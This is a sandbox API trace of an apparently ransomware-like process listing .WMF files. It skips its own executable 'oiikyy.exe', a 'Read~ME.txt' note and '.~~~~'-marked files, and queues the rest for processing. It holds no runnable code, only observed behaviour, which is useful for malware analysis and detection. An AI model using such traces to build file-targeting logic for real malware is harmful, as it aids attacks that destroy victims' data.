	[0084.613] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1
	[0084.613] lstrcmpiW (lpString1="J0105526.WMF", lpString2="Windows") returned -1
	[0084.613] lstrcmpW (lpString1="J0105526.WMF", lpString2="oiikyy.exe") returned -1
	[0084.614] StrStrW (lpFirst="J0105526.WMF", lpSrch=".~~~~") returned 0x0
	[0084.614] lstrcmpW (lpString1="J0105526.WMF", lpString2="Read~ME.txt") returned -1
	[0084.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.614] GetCurrentThreadId () returned 0x618
	[0084.614] RtlWakeConditionVariable () returned 0x365f48
	[0084.614] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1
	[0084.614] lstrcmpiW (lpString1="J0105530.WMF", lpString2="Windows") returned -1
	[0084.614] lstrcmpW (lpString1="J0105530.WMF", lpString2="oiikyy.exe") returned -1
	[0084.614] StrStrW (lpFirst="J0105530.WMF", lpSrch=".~~~~") returned 0x0
	[0084.614] lstrcmpW (lpString1="J0105530.WMF", lpString2="Read~ME.txt") returned -1
	[0084.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.614] GetCurrentThreadId () returned 0x618
	[0084.614] RtlWakeConditionVariable () returned 0x365f48
	[0084.614] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1
	[0084.614] lstrcmpiW (lpString1="J0105588.WMF", lpString2="Windows") returned -1
	[0084.614] lstrcmpW (lpString1="J0105588.WMF", lpString2="oiikyy.exe") returned -1
	[0084.614] StrStrW (lpFirst="J0105588.WMF", lpSrch=".~~~~") returned 0x0
	[0084.614] lstrcmpW (lpString1="J0105588.WMF", lpString2="Read~ME.txt") returned -1
	[0084.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.614] GetCurrentThreadId () returned 0x618
	[0084.614] RtlWakeConditionVariable () returned 0x365f48
	[0084.614] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1
	[0084.614] lstrcmpiW (lpString1="J0105600.WMF", lpString2="Windows") returned -1
	[0084.614] lstrcmpW (lpString1="J0105600.WMF", lpString2="oiikyy.exe") returned -1
	[0084.615] StrStrW (lpFirst="J0105600.WMF", lpSrch=".~~~~") returned 0x0
	[0084.615] lstrcmpW (lpString1="J0105600.WMF", lpString2="Read~ME.txt") returned -1
	[0084.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.615] GetCurrentThreadId () returned 0x618
	[0084.615] RtlWakeConditionVariable () returned 0x365f48
	[0084.615] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1
	[0084.615] lstrcmpiW (lpString1="J0105638.WMF", lpString2="Windows") returned -1
	[0084.615] lstrcmpW (lpString1="J0105638.WMF", lpString2="oiikyy.exe") returned -1
	[0084.615] StrStrW (lpFirst="J0105638.WMF", lpSrch=".~~~~") returned 0x0
	[0084.615] lstrcmpW (lpString1="J0105638.WMF", lpString2="Read~ME.txt") returned -1
	[0084.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.615] GetCurrentThreadId () returned 0x618
	[0084.615] RtlWakeConditionVariable () returned 0x365f48
	[0084.615] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1
	[0084.615] lstrcmpiW (lpString1="J0105710.WMF", lpString2="Windows") returned -1
	[0084.615] lstrcmpW (lpString1="J0105710.WMF", lpString2="oiikyy.exe") returned -1
	[0084.615] StrStrW (lpFirst="J0105710.WMF", lpSrch=".~~~~") returned 0x0
	[0084.615] lstrcmpW (lpString1="J0105710.WMF", lpString2="Read~ME.txt") returned -1
	[0084.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.615] GetCurrentThreadId () returned 0x618
	[0084.615] RtlWakeConditionVariable () returned 0x365f48
	[0084.615] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1
	[0084.615] lstrcmpiW (lpString1="J0105846.WMF", lpString2="Windows") returned -1
	[0084.615] lstrcmpW (lpString1="J0105846.WMF", lpString2="oiikyy.exe") returned -1
	[0084.616] StrStrW (lpFirst="J0105846.WMF", lpSrch=".~~~~") returned 0x0
	[0084.616] lstrcmpW (lpString1="J0105846.WMF", lpString2="Read~ME.txt") returned -1
	[0084.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.616] GetCurrentThreadId () returned 0x618
	[0084.616] RtlWakeConditionVariable () returned 0x365f48
	[0084.616] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1
	[0084.616] lstrcmpiW (lpString1="J0105912.WMF", lpString2="Windows") returned -1
	[0084.616] lstrcmpW (lpString1="J0105912.WMF", lpString2="oiikyy.exe") returned -1
	[0084.616] StrStrW (lpFirst="J0105912.WMF", lpSrch=".~~~~") returned 0x0
	[0084.616] lstrcmpW (lpString1="J0105912.WMF", lpString2="Read~ME.txt") returned -1
	[0084.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.616] GetCurrentThreadId () returned 0x618
	[0084.616] RtlWakeConditionVariable () returned 0x365f48
	[0084.616] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1
	[0084.616] lstrcmpiW (lpString1="J0105974.WMF", lpString2="Windows") returned -1
	[0084.616] lstrcmpW (lpString1="J0105974.WMF", lpString2="oiikyy.exe") returned -1
	[0084.616] StrStrW (lpFirst="J0105974.WMF", lpSrch=".~~~~") returned 0x0
	[0084.616] lstrcmpW (lpString1="J0105974.WMF", lpString2="Read~ME.txt") returned -1
	[0084.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.616] GetCurrentThreadId () returned 0x618
	[0084.616] RtlWakeConditionVariable () returned 0x365f48
	[0084.616] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1
	[0084.616] lstrcmpiW (lpString1="J0106020.WMF", lpString2="Windows") returned -1
	[0084.617] lstrcmpW (lpString1="J0106020.WMF", lpString2="oiikyy.exe") returned -1
	[0084.617] StrStrW (lpFirst="J0106020.WMF", lpSrch=".~~~~") returned 0x0
	[0084.617] lstrcmpW (lpString1="J0106020.WMF", lpString2="Read~ME.txt") returned -1
	[0084.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.617] GetCurrentThreadId () returned 0x618
	[0084.617] RtlWakeConditionVariable () returned 0x365f48
	[0084.617] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1
	[0084.617] lstrcmpiW (lpString1="J0106124.WMF", lpString2="Windows") returned -1
	[0084.617] lstrcmpW (lpString1="J0106124.WMF", lpString2="oiikyy.exe") returned -1
	[0084.617] StrStrW (lpFirst="J0106124.WMF", lpSrch=".~~~~") returned 0x0
	[0084.617] lstrcmpW (lpString1="J0106124.WMF", lpString2="Read~ME.txt") returned -1
	[0084.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.617] GetCurrentThreadId () returned 0x618
	[0084.617] RtlWakeConditionVariable () returned 0x365f48
	[0084.617] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1
	[0084.617] lstrcmpiW (lpString1="J0106146.WMF", lpString2="Windows") returned -1
	[0084.617] lstrcmpW (lpString1="J0106146.WMF", lpString2="oiikyy.exe") returned -1
	[0084.617] StrStrW (lpFirst="J0106146.WMF", lpSrch=".~~~~") returned 0x0
	[0084.617] lstrcmpW (lpString1="J0106146.WMF", lpString2="Read~ME.txt") returned -1
	[0084.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.617] GetCurrentThreadId () returned 0x618
	[0084.617] RtlWakeConditionVariable () returned 0x365f48
	[0084.617] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1
	[0084.618] lstrcmpiW (lpString1="J0106208.WMF", lpString2="Windows") returned -1
	[0084.618] lstrcmpW (lpString1="J0106208.WMF", lpString2="oiikyy.exe") returned -1
	[0084.618] StrStrW (lpFirst="J0106208.WMF", lpSrch=".~~~~") returned 0x0
	[0084.618] lstrcmpW (lpString1="J0106208.WMF", lpString2="Read~ME.txt") returned -1
	[0084.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.618] GetCurrentThreadId () returned 0x618
	[0084.618] RtlWakeConditionVariable () returned 0x365f48
	[0084.618] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1
	[0084.639] lstrcmpiW (lpString1="J0106222.WMF", lpString2="Windows") returned -1
	[0084.639] lstrcmpW (lpString1="J0106222.WMF", lpString2="oiikyy.exe") returned -1
	[0084.639] StrStrW (lpFirst="J0106222.WMF", lpSrch=".~~~~") returned 0x0
	[0084.639] lstrcmpW (lpString1="J0106222.WMF", lpString2="Read~ME.txt") returned -1
	[0084.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.667] GetCurrentThreadId () returned 0x618
	[0084.667] RtlWakeConditionVariable () returned 0x365f48
	[0084.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1
	[0084.667] lstrcmpiW (lpString1="J0106572.WMF", lpString2="Windows") returned -1
	[0084.667] lstrcmpW (lpString1="J0106572.WMF", lpString2="oiikyy.exe") returned -1
	[0084.667] StrStrW (lpFirst="J0106572.WMF", lpSrch=".~~~~") returned 0x0
	[0084.667] lstrcmpW (lpString1="J0106572.WMF", lpString2="Read~ME.txt") returned -1
	[0084.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.667] GetCurrentThreadId () returned 0x618
	[0084.667] RtlWakeConditionVariable () returned 0x365f48
	[0084.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1
	[0084.667] lstrcmpiW (lpString1="J0106816.WMF", lpString2="Windows") returned -1
	[0084.667] lstrcmpW (lpString1="J0106816.WMF", lpString2="oiikyy.exe") returned -1
	[0084.667] StrStrW (lpFirst="J0106816.WMF", lpSrch=".~~~~") returned 0x0
	[0084.667] lstrcmpW (lpString1="J0106816.WMF", lpString2="Read~ME.txt") returned -1
	[0084.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.667] GetCurrentThreadId () returned 0x618
	[0084.667] RtlWakeConditionVariable () returned 0x365f48
	[0084.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1
	[0084.668] lstrcmpiW (lpString1="J0106958.WMF", lpString2="Windows") returned -1
	[0084.668] lstrcmpW (lpString1="J0106958.WMF", lpString2="oiikyy.exe") returned -1
	[0084.668] StrStrW (lpFirst="J0106958.WMF", lpSrch=".~~~~") returned 0x0
	[0084.668] lstrcmpW (lpString1="J0106958.WMF", lpString2="Read~ME.txt") returned -1
	[0084.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.668] GetCurrentThreadId () returned 0x618
	[0084.668] RtlWakeConditionVariable () returned 0x365f48
	[0084.668] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1
	[0084.668] lstrcmpiW (lpString1="J0107024.WMF", lpString2="Windows") returned -1
	[0084.668] lstrcmpW (lpString1="J0107024.WMF", lpString2="oiikyy.exe") returned -1
	[0084.668] StrStrW (lpFirst="J0107024.WMF", lpSrch=".~~~~") returned 0x0
	[0084.668] lstrcmpW (lpString1="J0107024.WMF", lpString2="Read~ME.txt") returned -1
	[0084.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.668] GetCurrentThreadId () returned 0x618
	[0084.668] RtlWakeConditionVariable () returned 0x365f48
	[0084.669] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1
	[0084.669] lstrcmpiW (lpString1="J0107026.WMF", lpString2="Windows") returned -1
	[0084.669] lstrcmpW (lpString1="J0107026.WMF", lpString2="oiikyy.exe") returned -1
	[0084.669] StrStrW (lpFirst="J0107026.WMF", lpSrch=".~~~~") returned 0x0
	[0084.669] lstrcmpW (lpString1="J0107026.WMF", lpString2="Read~ME.txt") returned -1
	[0084.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.669] GetCurrentThreadId () returned 0x618
	[0084.669] RtlWakeConditionVariable () returned 0x365f48
	[0084.669] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1
	[0084.669] lstrcmpiW (lpString1="J0107042.WMF", lpString2="Windows") returned -1
	[0084.669] lstrcmpW (lpString1="J0107042.WMF", lpString2="oiikyy.exe") returned -1
	[0084.669] StrStrW (lpFirst="J0107042.WMF", lpSrch=".~~~~") returned 0x0
	[0084.669] lstrcmpW (lpString1="J0107042.WMF", lpString2="Read~ME.txt") returned -1
	[0084.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.669] GetCurrentThreadId () returned 0x618
	[0084.669] RtlWakeConditionVariable () returned 0x365f48
	[0084.669] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1
	[0084.669] lstrcmpiW (lpString1="J0107090.WMF", lpString2="Windows") returned -1
	[0084.669] lstrcmpW (lpString1="J0107090.WMF", lpString2="oiikyy.exe") returned -1
	[0084.669] StrStrW (lpFirst="J0107090.WMF", lpSrch=".~~~~") returned 0x0
	[0084.669] lstrcmpW (lpString1="J0107090.WMF", lpString2="Read~ME.txt") returned -1
	[0084.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.670] GetCurrentThreadId () returned 0x618
	[0084.670] RtlWakeConditionVariable () returned 0x365f48
	[0084.670] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1
	[0084.670] lstrcmpiW (lpString1="J0107130.WMF", lpString2="Windows") returned -1
	[0084.670] lstrcmpW (lpString1="J0107130.WMF", lpString2="oiikyy.exe") returned -1
	[0084.670] StrStrW (lpFirst="J0107130.WMF", lpSrch=".~~~~") returned 0x0
	[0084.670] lstrcmpW (lpString1="J0107130.WMF", lpString2="Read~ME.txt") returned -1
	[0084.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.670] GetCurrentThreadId () returned 0x618
	[0084.670] RtlWakeConditionVariable () returned 0x365f48
	[0084.670] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1
	[0084.670] lstrcmpiW (lpString1="J0107132.WMF", lpString2="Windows") returned -1
	[0084.670] lstrcmpW (lpString1="J0107132.WMF", lpString2="oiikyy.exe") returned -1
	[0084.670] StrStrW (lpFirst="J0107132.WMF", lpSrch=".~~~~") returned 0x0
	[0084.670] lstrcmpW (lpString1="J0107132.WMF", lpString2="Read~ME.txt") returned -1
	[0084.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.670] GetCurrentThreadId () returned 0x618
	[0084.670] RtlWakeConditionVariable () returned 0x365f48
	[0084.670] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1
	[0084.670] lstrcmpiW (lpString1="J0107134.WMF", lpString2="Windows") returned -1
	[0084.670] lstrcmpW (lpString1="J0107134.WMF", lpString2="oiikyy.exe") returned -1
	[0084.670] StrStrW (lpFirst="J0107134.WMF", lpSrch=".~~~~") returned 0x0
	[0084.671] lstrcmpW (lpString1="J0107134.WMF", lpString2="Read~ME.txt") returned -1
	[0084.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.671] GetCurrentThreadId () returned 0x618
	[0084.671] RtlWakeConditionVariable () returned 0x365f48
	[0084.671] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1
	[0084.671] lstrcmpiW (lpString1="J0107138.WMF", lpString2="Windows") returned -1
